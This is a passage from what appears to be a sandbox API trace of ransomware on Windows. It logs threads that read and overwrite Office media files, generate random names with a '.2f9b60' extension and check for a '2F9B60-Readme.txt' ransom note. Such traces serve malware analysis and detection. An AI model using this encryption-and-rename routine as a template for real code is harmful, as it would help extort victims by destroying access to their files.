returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.896] wcscat (in: _Dest=0x202a4fe0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4fe0) returned 1 [0107.096] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4df50) returned 1 Thread: id = 746 os_tid = 0x128c [0098.464] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf")) returned 0x20 [0099.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF", dwFileAttributes=0x20) returned 1 [0099.667] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149627.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149627.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1590 [0099.667] GetFileSizeEx (in: hFile=0x1590, lpFileSize=0x1e6ff680 | out: lpFileSize=0x1e6ff680*=43018) returned 1 [0099.667] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0xa806, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.667] ReadFile (in: hFile=0x1590, lpBuffer=0x1e6ff600, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1e6ff648, lpOverlapped=0x0 | out: lpBuffer=0x1e6ff600*, lpNumberOfBytesRead=0x1e6ff648*=0x4, lpOverlapped=0x0) returned 1 [0100.155] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f60 [0100.155] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262ff0 [0100.155] NtQuerySystemTime (in: CurrentTime=0x1e6ff540 | out: CurrentTime=0x1e6ff540*=132462177056818000) returned 0x0 [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x53dd4ed6 [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x3b0647fe [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x56f09b9f [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0xf3c6a8e [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x7f7aece [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x66c67ec [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x76f34456 [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x2a205e50 [0100.155] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x4a2db51d [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x3e5e4d8f [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x6fdbd837 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x123daab3 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x33a2698a [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x37bc8a9d [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x228acbd6 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x48c943af [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x3ad91b7f [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x53528c2 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x7eaf96d1 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x7653adee [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x20902f70 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x6d050a49 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x7dcf0819 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x24cf45b6 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x6fef2d86 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x535b3660 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x40c9e578 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x121823f1 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x262ef0f [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x4f436b16 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x10b724a6 [0100.156] RtlRandomEx (in: Seed=0x1e6ff530 | out: Seed=0x1e6ff530) returned 0x2ab4c379 [0100.180] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.180] ReadFile (in: hFile=0x1590, lpBuffer=0x201578d0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x1e6ff5a0, lpOverlapped=0x0 | out: lpBuffer=0x201578d0*, lpNumberOfBytesRead=0x1e6ff5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0100.421] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97c10 [0100.421] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce21d20 [0100.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0100.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262f90) returned 1 [0100.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f93cc0 [0100.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262f90 [0100.873] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262cc0 [0100.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262cc0) returned 1 [0100.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce21d20) returned 1 [0100.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97c10) returned 1 [0100.874] WriteFile (in: hFile=0x1590, lpBuffer=0x41f93cc0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x1e6ff5a0, lpOverlapped=0x0 | out: lpBuffer=0x41f93cc0*, lpNumberOfBytesWritten=0x1e6ff5a0*=0x3c00, lpOverlapped=0x0) returned 1 [0101.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f93cc0) returned 1 [0101.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x201578d0) returned 1 [0101.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x1b85f550 [0101.831] SetFilePointerEx (in: hFile=0x1590, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.832] WriteFile (in: hFile=0x1590, lpBuffer=0x420601d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1e6ff650, lpOverlapped=0x0 | out: lpBuffer=0x420601d0*, lpNumberOfBytesWritten=0x1e6ff650*=0x10a, lpOverlapped=0x0) returned 1 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0102.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202633b0) returned 1 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202633b0 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263380 [0102.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263380) returned 1 [0102.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.269] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.269] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.269] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="fb") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="b1") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="54") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="cb") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="4d") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="e1") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="0a") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="34") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="e6") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="cd") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="46") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="a4") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="05") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="67") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="ca") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="78") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="bb") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="37") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="94") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="8c") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="06") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="72") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.270] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="d4") returned 2 [0102.270] RtlInitAnsiString (in: DestinationString=0x1e6ff6c8, SourceString="fbb154cb4de10a34e6cd46a40567ca78bb37948c0672bfd4" | out: DestinationString="fbb154cb4de10a34e6cd46a40567ca78bb37948c0672bfd4") [0102.270] RtlAnsiStringToUnicodeString (in: DestinationString=0x1e6ff698, SourceString="fbb154cb4de10a34e6cd46a40567ca78bb37948c0672bfd4", AllocateDestinationString=1 | out: DestinationString="fbb154cb4de10a34e6cd46a40567ca78bb37948c0672bfd4") returned 0x0 [0102.270] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9400 [0102.271] wcscat (in: _Dest=0x4205c970, _Source="fbb154cb4de1" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fbb154cb4de1") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fbb154cb4de1" [0102.271] wcscat (in: _Dest=0x4205c970, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fbb154cb4de1.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fbb154cb4de1.2f9b60" [0102.271] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fbb154cb4de1.2f9b60", NtPathName=0x1e6ff670, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\fbb154cb4de1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0102.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050c190 [0105.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050c190) returned 1 [0105.921] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205065e0) returned 1 [0105.921] NtQueryInformationFile (in: FileHandle=0x1590, IoStatusBlock=0x1e6ff6d8, FileInformation=0x1e6ff6e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x1e6ff6d8, FileInformation=0x1e6ff6e8) returned 0x0 [0105.921] NtSetInformationFile (FileHandle=0x1590, IoStatusBlock=0x1e6ff6d8, FileInformation=0x1e6ff6e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0105.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c970) returned 1 [0105.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9400) returned 1 [0105.934] FlushFileBuffers (hFile=0x1590) returned 1 [0105.941] CloseHandle (hObject=0x1590) returned 1 [0105.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x202a46e0 [0105.949] wcscpy (in: _Dest=0x202a46e0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0105.949] wcscat (in: _Dest=0x202a46e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0105.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0107.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a46e0) returned 1 [0107.344] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4dfe0) returned 1 Thread: id = 747 os_tid = 0x1290 [0098.465] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf")) returned 0x20 [0099.682] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF", dwFileAttributes=0x20) returned 1 [0099.682] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0149887.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0149887.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15a8 [0099.682] GetFileSizeEx (in: hFile=0x15a8, lpFileSize=0x1dd2fbc0 | out: lpFileSize=0x1dd2fbc0*=8186) returned 1 [0099.682] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x1ff6, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0099.682] ReadFile (in: hFile=0x15a8, lpBuffer=0x1dd2fb40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1dd2fb88, lpOverlapped=0x0 | out: lpBuffer=0x1dd2fb40*, lpNumberOfBytesRead=0x1dd2fb88*=0x4, lpOverlapped=0x0) returned 1 [0100.304] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0100.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262480 [0100.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263500 [0100.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263590 [0100.304] NtQuerySystemTime (in: CurrentTime=0x1dd2fa80 | out: CurrentTime=0x1dd2fa80*=132462177058222000) returned 0x0 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x1eb9ae30 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x6148c207 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x1de81a38 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x74caa412 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x26a3ec8 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x3133268a [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x46fa18f1 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x493e49c0 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x501c5a8d [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x4b957e86 [0100.304] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x5e01a1ce [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0xf90e7b0 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x2cc5d8b8 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x5e949408 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x2ab9b77a [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x47ceee83 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x741ad7bc [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x57325e2f [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x49c0766f [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0xb1c97ac [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x1e129eba [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x5ca06fb1 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x52051c5 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x3b0d60ea [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x8199ca9 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x548795b3 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x2a664d4d [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x1fd064d5 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x130d6c2 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x257f0b8e [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x3cd8502 [0100.305] RtlRandomEx (in: Seed=0x1dd2fa70 | out: Seed=0x1dd2fa70) returned 0x38e00f7f [0100.817] ReadFile (in: hFile=0x15a8, lpBuffer=0x41c500b0, nNumberOfBytesToRead=0x1ffa, lpNumberOfBytesRead=0x1dd2fa70, lpOverlapped=0x0 | out: lpBuffer=0x41c500b0*, lpNumberOfBytesRead=0x1dd2fa70*=0x1ffa, lpOverlapped=0x0) returned 1 [0101.584] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.585] WriteFile (in: hFile=0x15a8, lpBuffer=0x41c53cc0*, nNumberOfBytesToWrite=0x1ffa, lpNumberOfBytesWritten=0x1dd2fa74, lpOverlapped=0x0 | out: lpBuffer=0x41c53cc0*, lpNumberOfBytesWritten=0x1dd2fa74*=0x1ffa, lpOverlapped=0x0) returned 1 [0101.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8530 [0101.895] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a8500 [0101.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a8500) returned 1 [0101.895] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c53cc0) returned 1 [0101.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41c500b0) returned 1 [0101.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869b40) returned 1 [0101.896] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0101.896] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a8500 [0101.896] SetFilePointerEx (in: hFile=0x15a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0101.896] WriteFile (in: hFile=0x15a8, lpBuffer=0x4205a1d0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1dd2fb90, lpOverlapped=0x0 | out: lpBuffer=0x4205a1d0*, lpNumberOfBytesWritten=0x1dd2fb90*=0x10a, lpOverlapped=0x0) returned 1 [0102.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd977b0 [0102.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869740 [0102.311] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0102.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263440) returned 1 [0102.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0102.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263440 [0102.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20263410 [0102.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20263410) returned 1 [0102.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869740) returned 1 [0102.312] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd977b0) returned 1 [0102.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9f7f0 [0102.312] sprintf (in: _Dest=0x1cd9f7f0, _Format="%c%c" | out: _Dest="8b") returned 2 [0102.312] sprintf (in: _Dest=0x1cd9f7f2, _Format="%c%c" | out: _Dest="7d") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f7f4, _Format="%c%c" | out: _Dest="b2") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f7f6, _Format="%c%c" | out: _Dest="82") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f7f8, _Format="%c%c" | out: _Dest="17") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f7fa, _Format="%c%c" | out: _Dest="d3") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f7fc, _Format="%c%c" | out: _Dest="05") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f7fe, _Format="%c%c" | out: _Dest="d5") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f800, _Format="%c%c" | out: _Dest="95") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f802, _Format="%c%c" | out: _Dest="b3") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f804, _Format="%c%c" | out: _Dest="5b") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f806, _Format="%c%c" | out: _Dest="ee") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f808, _Format="%c%c" | out: _Dest="13") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f80a, _Format="%c%c" | out: _Dest="bf") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f80c, _Format="%c%c" | out: _Dest="13") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f80e, _Format="%c%c" | out: _Dest="5f") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f810, _Format="%c%c" | out: _Dest="18") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f812, _Format="%c%c" | out: _Dest="20") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f814, _Format="%c%c" | out: _Dest="ef") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f816, _Format="%c%c" | out: _Dest="de") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f818, _Format="%c%c" | out: _Dest="e3") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f81a, _Format="%c%c" | out: _Dest="b9") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f81c, _Format="%c%c" | out: _Dest="07") returned 2 [0102.313] sprintf (in: _Dest=0x1cd9f81e, _Format="%c%c" | out: _Dest="d6") returned 2 [0102.313] RtlInitAnsiString (in: DestinationString=0x1dd2fc08, SourceString="8b7db28217d305d595b35bee13bf135f1820efdee3b907d6" | out: DestinationString="8b7db28217d305d595b35bee13bf135f1820efdee3b907d6") [0102.313] RtlAnsiStringToUnicodeString (in: DestinationString=0x1dd2fbd8, SourceString="8b7db28217d305d595b35bee13bf135f1820efdee3b907d6", AllocateDestinationString=1 | out: DestinationString="8b7db28217d305d595b35bee13bf135f1820efdee3b907d6") returned 0x0 [0102.313] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced9780 [0102.314] wcscat (in: _Dest=0x4205ce70, _Source="8b7db28217d3" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8b7db28217d3") 